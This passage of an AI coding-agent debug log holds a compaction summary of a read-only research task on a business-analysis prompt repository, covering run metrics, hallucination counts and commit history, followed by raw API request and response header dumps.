qwen3-vl-30b-a3b, qwen3.8-max-preview.\\n  - claude-opus-5 7, claude-opus-5-5 2, claude-opus-4-8 1 (RUN-0012), gpt-5.6-sol 4 (RUN-0062..0065).\\n  - RUN-0055: qwen3.7-plus primary with claude-opus-5 verification.\\n- Author field: \\\"BA/AI\\\" (early), \\\"BA-IH + LLM\\\", \\\"AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410\\\", \\\"AI issue solver (Claude Code)\\\" (RUN-0067), \\\"OpenAI Codex\\\" (RUN-0064).\\n\\nAggregated metrics (computed from metadata `metrics` blocks):\\n- hallucinations recorded in 11 runs (RUN-0015,16,18,21,22,24\u201329): 41 total, 12 shipped into artifacts.\\n- quality (scale apparently 1\u20135) in 10 runs: all 3, except RUN-0028 = 2. RUN-0014 eval.quality = 2, defects = 5, factual_distortions = 1, target_artifact \\\"not-produced\\\", success_rate 0.25.\\n- success_rate recorded in 19 runs; mean \u2248 0.67, range 0.25\u20131.0. Examples: RUN-0019 0.29, RUN-0022 0.92, RUN-0058/59/60 1.0.\\n- ba_edits in 10 runs: 53 total. Episodes in 42 runs: 1095 total.\\n- tokens_dialog_total across 33 runs: \u224862.1M. tokens_input across 35 runs: \u224860.4M. tokens_output across 38 runs: \u22481.96M.\\n- duration_active_s across 41 runs: \u2248103.5 h.\\n- Caveat: RUN-0025 tokens_output/thinking (15262/6614) equal RUN-0015's, and its tokens_input 1322626 equals RUN-0015's tokens_context_refeed_sum. Possible duplication; flag it.\\n- Separate metric styles exist: RUN-0017 (2,536,400 total tokens, 3.04 h) and RUN-0020 (15.65M tokens, max context 523,249, 92.78 h wall-clock).\\n- One run's top-level metadata (probably RUN-0013; not verified) has success_rate 0.62 (\\\"75 \u0438\u0437 121 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0411\u0410 \u0431\u0435\u0437 \u044f\u0432\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438\\\"), tokens_input 79,405,522, tokens_output 543,180, 242 turns, 44 calendar days.\\n\\nFeasibility runs:\\n- RUN-0057: 101 requirements; coverage_none 37; 64/101 = 0.63; 16 vendor questions; 7 pilot spikes.\\n- RUN-0066: 386 assessed; 338 yes / 34 partial / 14 no; 702 atomic citations.\\n- RUN-0068: 22 requirements; 3/7/11/1; template_v4_matches_over_90 = 0.\\n- RUN-0069: 59 requirements; 20/15/14/10; template_v4_max_similarity 0.638.\\n- RUN-0056: 7/10 FRs fully assessed; 7 critical gaps.\\n\\nTask categories (runs/README.md registry):\\n- Prompt experiments, audits and self-tests (RUN-0001..0005).\\n- FR generation/validation/drafting for BCREQ tickets and Mango integrations: amoCRM, Bitrix24, 1C, OkDesk, BPMSoft, IVR, speech analytics, mTalker, e-mail, HH.ru.\\n- Clarifying questions, and meeting transcript analysis.\\n- Tender TZ feasibility assessments L0\u2013L4: Utair.Chat, STT/TTS/NLU, task-1099 telephony, BCREQ-1114.\\n- Gap analysis and architecture spikes for the HH.ru \u2194 Mango CC integration.\\n- Link-review statistics (RUN-0061).\\n- FR rework (RUN-0063\u21920064\u21920067).\\n\\nKey documents read:\\n- docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md (issue #353), A/B on 65 rows, gpt-5.6-sol RUN-0065 vs claude-opus-5 RUN-0066:\\n  - Accuracy_verdict 31/65 = 47.7% vs 100%.\\n  - Accuracy_page 17/45 = 37.8% vs 64/64.\\n  - Hallucination_rate (page \u0394>2) 28/65 = 43.1% vs 0%.\\n  - Decomposition_quality 0% vs 100%.\\n  - Root cause: page numbers held in a manual EVIDENCE dictionary and replicated by lexical rules; the validator checked link shape but not frontmatter. RUN-0066 is the reference by definition.\\n- docs/report/2026-09-01-kb-assessment-error-analysis.md (issue #349): RUN-0062 narrowed the SSOT to 3 modules, turning missing data into missing capability. RUN-0065 used a keyword heuristic. Both validators \\\"\u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443\\\". New rules: search the full KB index first \u2192 web on trusted Mango domains only \u2192 \\\"\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\\\" only with an escalation log; atomic decomposition; technical critic; validator checks.\\n- runs/2026/RUN-0064/reports/error-analysis.md (issue #345), n = 8 errors: contract violation 3, missing contract 2, prompt ambiguity 2, technical limitation 1.\\n  - Examples: existing functionality presented as new FRs; a hypothesis promoted to fact; ignoring a screenshot showing \\\"\u0421\u043a\u0430\u0447\u0430\u0442\u044c: CSV\\\"; scope creep into access rights; flip-flopping on detail rows; stopping at questions with no final FR.\\n  - Root cause: no gate separating current state from required delta.\\n  - Recommendation: matrix `SSOT \u2192 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u2192 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u2192 FR \u2192 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0440\u0438\u0435\u043c\u043a\u0438` with fail-closed on an empty source; screenshot/KB gate; decision log; two independent CBAP/eTOM passes.\\n- kb/practices/source-backed-analysis.md: anti-example \\\"\u0413\u041e\u0421\u0422 34.602-2015 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\\\" (a hallucinated standard).\\n- docs/analysis/experiment-1027-analysis.md (issue #101, 2026-06-16): first real BA session with repo prompts. BA hypothesis H1: \\\"\u0418\u0418 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0430\u0447\u0438\\\" \u2014 partially confirmed.\\n- CHANGELOG entries:\\n  - #56: a single PDF of prompts was split into 23 standardized prompts (18 new, 5 legacy, 6 old canonical archived).\\n  - #54: the original single prompt file \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).pdf\\\".\\n  - #310: KB anti-hallucination cross-check over 9531 critical tokens, 0 unconfirmed; negative test experiments/kb-verify-detects-hallucination.py.\\n  - #101: experiment-log standard, prompt-debugging-process \\\"\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u2192 RFC \u2192 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u2192 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\\\".\\n- Many runs are explicitly flagged \\\"\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f golden case\\\" (CHANGELOG lines ~693\u20131316). scripts/validate_issue_272_run_0019.py checks \\\"golden case\\\" wording.\\n- standards/evals-contract-standard.md defines the golden-set/rubric form, but no golden-set exists yet.\\n\\nTimeline commits (non-merge):\\n- 2026-06-02 to 06-05: bootstrap and Hub\u2192spoke migration (d159ab2 audit & migration RFC; 0c10eda bootstrap; 49d81a9 README M-001; ee90e7b normalize prompts; 8deffc8 migration manifest).\\n- 06-10: e90780f governance sync with Hub PR #208; 3a265e6 attached BA prompt file to drafts (#54).\\n- 06-11: d8a4759 \\\"split BA prompts draft into 23 standardized files (#56)\\\"; 00d2072 taxonomy of 13 operations and 9 processes (#52); 430fe9b prompt/pattern standards; 748ff6d ADR prompt standard.\\n- 06-13 to 06-16: 9eef477 GitHub Pages; 23115c6 MVP pattern library; ADR-003..010 (1885f7d \\\"ADR-009: multi-level BCREQ formation process \u2014 6 subprocesses, human gates\\\"; 37dc51c ADR-007 KB standard before RAG); 0363a44 experiment 1027 analysis; 2abf5e6 \\\"\u041e\u0442\u043a\u0430\u0442 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 #101: \u0432\u043e\u0437\u0432\u0440\u0430\u0442 \u043a v0.1 + \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\\".\\n- 06-17 to 06-20: 7fb2b3b BCREQ-1025 experiment + RFC; 8b20fb6 dogfooding; a3784c4 KB ingestion pipeline (#111); 482b316 CI regression validator; LFS PDFs; b4269ad \\\"create runs/ with execution contract\\\"; c4163a1 cascading context loading.\\n- 07-03 KB after LFS cleanup; 07-14 dd20da9 RUN-0012.\\n- 08-17: vision correction (#263), Hub re-sync (#265).\\n- 08-21: e5e84d0 onboarding v1.5 + Hub validators (#267); a mass run-fixation day (RUN-0013..0029) with many renumbering commits; db54905 explicit run types (#293); 5d70a60 metrics contract (#271); 091c768 canonical root (#291).\\n- 08-22: validator optimization (#299); 946e605 25 chat exports \u2192 RUN-0030..0054; ae187ca KB 4 PDFs + cross-check (#310).\\n- 08-23 to 08-28: RUN-0055..0061; KB sections #317/#320; 37bb44a Issue Forms for runs (#323); 1dcca69 ADR-011 integration task artifacts + task taxonomy RFC (#335); 7369989 password-protected web report.\\n- 08-31 to 09-03: c4902e0 revert of a L0 run; RUN-0062..0067; a661e1b \\\"verify citation pagination\\\"; 00295d5 RCA; 3c53cbe RUN-0067 rework.\\n- 09-26: KB migration to runtime (cce374d, f64672c, c6471da).\\n- 09-28: 46a7ebe RUN-0068, dba7b47 RUN-0069.\\n\\nRuntime environments found:\\n- No mentions of GigaCode or Cline anywhere in the repo (0 files). Only a lowercase \\\"cline\\\" substring match in 2 files, which is irrelevant.\\n- LLM runs were in a Qwen web chat: runs/2026/RUN-0014/logs/metrics.md reads \\\"qwen3.7-plus (Qwen3.7-Plus, \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441)\\\"; RUN-0018 feedback says \\\"\u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0447\u0430\u0442 (Qwen, `auto_search: true`) \u0431\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0411\u0417\\\". Chat-export JSON contains content_list[*].usage and extra.tool_result with web_search/web_extractor.\\n- The AI issue solver is konard/hive-mind on GitHub issues\u2192PRs, using Claude Code (RUN-0067), OpenAI Codex (RUN-0064), claude-opus-5/5-5 and gpt-5.6-sol.\\n- A redacted Codex trace exists: docs/report/evidence/2026-09-01-run-0065-acb6c7bc-redacted.txt.\\n- Local Python scripts are run manually (runs/README.md \\\"\u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438\\\").\\n- The current working-directory repo mentions GigaCode guide backlog items B-219..B-222. That is outside mango_ba_prompts (probably the Hub) and was not investigated.\\n\\n4. Errors and fixes:\\n- `ModuleNotFoundError: No module named 'yaml'`: fixed with `pip install pyyaml -q`.\\n- Large outputs were persisted to tool-result files and read via sed.\\n\\n5. Problem Solving:\\n- Metrics were aggregated with Python and saved to /tmp/runs_metrics.json (a scratch file outside the repo).\\n- A possible duplication between RUN-0015 and RUN-0025 was identified and should be flagged.\\n\\n6. All user messages:\\n- A single task message (research task), whose substance is captured in section 1. Key constraints, verbatim: \\\"Research task (read-only; do NOT modify any files except writing your notes to /tmp/research-notes/mango_ba_prompts.md)\\\"; \\\"Be precise; do not invent numbers \u2014 if something cannot be determined, say so. Write the full report to /tmp/research-notes/mango_ba_prompts.md (mkdir -p first) and return a concise summary (up to ~1500 words) with the most presentation-worthy facts and numbers.\\\"\\n\\n7. Pending Tasks:\\n- Optional further checks if tools become available:\\n  - ADR-009 human gates (docs/adr/009-bcreq-formation-process.md).\\n  - ADR-011 integration task artifacts (L0\u2013L4 levels).\\n  - docs/rfc/2026-08-task-taxonomy.md.\\n  - ai-rules/ai-quick-rules.md fail-closed wording.\\n  - standards/prompt-debugging-process.md.\\n  - Which run holds the 0.62 / 79.4M-token top-level metrics (likely RUN-0013).\\n  - docs/analysis/2026-08-21-runs-type-gap-analysis.md.\\n- Write the full report to /tmp/research-notes/mango_ba_prompts.md (mkdir -p first).\\n- Return the concise summary (\u2264~1500 words).\\n\\n8. Current Work:\\nEvidence collection was finishing. The last search looked for \\\"golden\\\"/\\\"\u044d\u0442\u0430\u043b\u043e\u043d\\\"/template references. It showed that golden-set is only defined in standards/evals-contract-standard.md and is acknowledged as absent, and that runs are repeatedly marked \\\"\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f golden case\\\". The next action was to write the report file.\\n\\n9. Optional Next Step:\\nCreate /tmp/research-notes/ and write the full evidence report (sections 1\u20136 plus the URL format https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/, with default branch main verified) using the facts above. Mark as \\\"not determined\\\" anything unverified, such as GigaCode/Cline usage (absent from the repo) and whether target-pipeline items like \\\"translation into contract/development format\\\" exist. Then return the concise summary to the caller.\\n\\nIf you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de.jsonl\\nContinue the conversation from where it left off without asking the user any further questions. Resume directly \u2014 do not acknowledge the summary, do not recap what was happening, do not preface with \\\"I'll continue\\\" or similar. Pick up the last task as if the break never happened.\"\n[2026-09-29T07:47:48.908Z] [INFO]       }\n[2026-09-29T07:47:48.908Z] [INFO]     ]\n[2026-09-29T07:47:48.908Z] [INFO]   },\n[2026-09-29T07:47:48.908Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:47:48.908Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:48.908Z] [INFO]   \"uuid\": \"63f8590d-51e4-43d2-968d-a1c6f38cb23d\",\n[2026-09-29T07:47:48.908Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:48.793Z\",\n[2026-09-29T07:47:48.908Z] [INFO]   \"isSynthetic\": true,\n[2026-09-29T07:47:48.908Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:47:48.908Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:47:48.908Z] [INFO] }\n[2026-09-29T07:47:48.938Z] [STDOUT] [log_98d68e] sending request {\n[2026-09-29T07:47:48.947Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:48.962Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:48.966Z] [STDOUT]   options: {\n[2026-09-29T07:47:48.974Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:48.979Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:48.987Z] [STDOUT]     body: {\n[2026-09-29T07:47:48.992Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:48.995Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:49.000Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:49.006Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:47:49.009Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:49.016Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:49.024Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:49.036Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:49.046Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:49.054Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:49.057Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:49.061Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:49.063Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:49.066Z] [STDOUT]     },\n[2026-09-29T07:47:49.068Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:49.072Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:49.075Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:47:49.079Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:47:49.082Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:49.088Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:49.093Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:49.098Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:49.105Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:49.108Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:49.111Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:49.114Z] [STDOUT]     },\n[2026-09-29T07:47:49.121Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:49.127Z] [STDOUT]   },\n[2026-09-29T07:47:49.130Z] [STDOUT]   headers: {\n[2026-09-29T07:47:49.132Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:49.135Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:49.140Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:49.144Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:49.148Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:49.151Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:49.157Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:49.161Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:49.173Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:49.182Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:47:49.184Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:47:49.189Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1295\",\n[2026-09-29T07:47:49.193Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:49.197Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:47:49.201Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:49.205Z] [STDOUT]     \"x-client-request-id\": \"75bda6e4-c148-48c2-bc52-33db48893213\",\n[2026-09-29T07:47:49.210Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:49.213Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:49.220Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:49.224Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:49.231Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:49.245Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:49.248Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:49.257Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:49.261Z] [STDOUT]   },\n[2026-09-29T07:47:49.272Z] [STDOUT] }\n[2026-09-29T07:47:49.501Z] [INFO] {\n[2026-09-29T07:47:49.501Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:49.501Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:49.501Z] [INFO]   \"estimated_tokens\": 300,\n[2026-09-29T07:47:49.501Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:49.501Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:49.501Z] [INFO]   \"uuid\": \"07db2ca0-1ca6-4f12-ac3c-344e18a1960e\"\n[2026-09-29T07:47:49.501Z] [INFO] }\n[2026-09-29T07:47:49.665Z] [STDOUT] [log_98d68e, request-id: \"req_011CfXMwPJ1vJUgVLMf3Nf5u\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 745ms\n[2026-09-29T07:47:49.670Z] [STDOUT] [log_98d68e] response start {\n[2026-09-29T07:47:49.675Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:49.679Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:49.683Z] [STDOUT]   headers: {\n[2026-09-29T07:47:49.686Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:49.689Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:49.697Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:49.701Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:49.705Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:49.714Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:49.719Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:49.723Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:49.728Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:49.735Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:49.746Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:49.760Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:49.765Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:49.774Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:49.780Z] [STDOUT]     \"anthropic-thinking-prefix-mismatch\": \"kind=not_recorded; pattern=not_applicable; block=messages.2.content.0; removed=0; inserted=0; modified=0\",\n[2026-09-29T07:47:49.786Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:49.792Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:49.808Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:49.816Z] [STDOUT]     \"cf-ray\": \"a42961c7088b29ad-FRA\",\n[2026-09-29T07:47:49.828Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:49.840Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:49.859Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:49.868Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:49.874Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:49 GMT\",\n[2026-09-29T07:47:49.880Z] [STDOUT]     \"request-id\": \"req_011CfXMwPJ1vJUgVLMf3Nf5u\",\n[2026-09-29T07:47:49.888Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:49.891Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:49.896Z] [STDOUT]     traceresponse: \"00-d9ff857e1e2ea9650e743bba016113b8-9498da76c8a17d29-01\",\n[2026-09-29T07:47:49.901Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:49.906Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:49.912Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:49.931Z] [STDOUT]   },\n[2026-09-29T07:47:49.940Z] [STDOUT]   durationMs: 745,\n[2026-09-29T07:47:49.947Z] [STDOUT] }\n[2026-09-29T07:47:49.955Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:49.958Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:49 GMT\",\n[2026-09-29T07:47:49.981Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:49.984Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:49.991Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:49.996Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:49.998Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:50.009Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:50.013Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:50.037Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:50.051Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:50.064Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:50.066Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:50.070Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:50.076Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:50.082Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:50.086Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:50.093Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:50.097Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:50.110Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:50.113Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:50.119Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:50.124Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:50.140Z] [STDOUT]   \"request-id\": \"req_011CfXMwPJ1vJUgVLMf3Nf5u\",\n[2026-09-29T07:47:50.169Z] [STDOUT]   \"traceresponse\": \"00-d9ff857e1e2ea9650e743bba016113b8-9498da76c8a17d29-01\",\n[2026-09-29T07:47:50.172Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:50.176Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:50.180Z] [STDOUT]   \"anthropic-thinking-prefix-mismatch\": \"kind=not_recorded; pattern=not_applicable; block=messages.2.content.0; removed=0; inserted=0; modified=0\",\n[2026-09-29T07:47:50.203Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:50.208Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:50.212Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:50.222Z] [STDOUT]   \"cf-ray\": \"a42961c7088b29ad-FRA\",\n[2026-09-29T07:47:50.228Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:50.238Z] [STDOUT] [log_98d68e] response parsed {\n[2026-09-29T07:47:50.254Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:50.260Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:50.263Z] [STDOUT]   body: X {\n[2026-09-29T07:47:50.267Z] [STDOUT]     iterator: [AsyncGeneratorFunction: 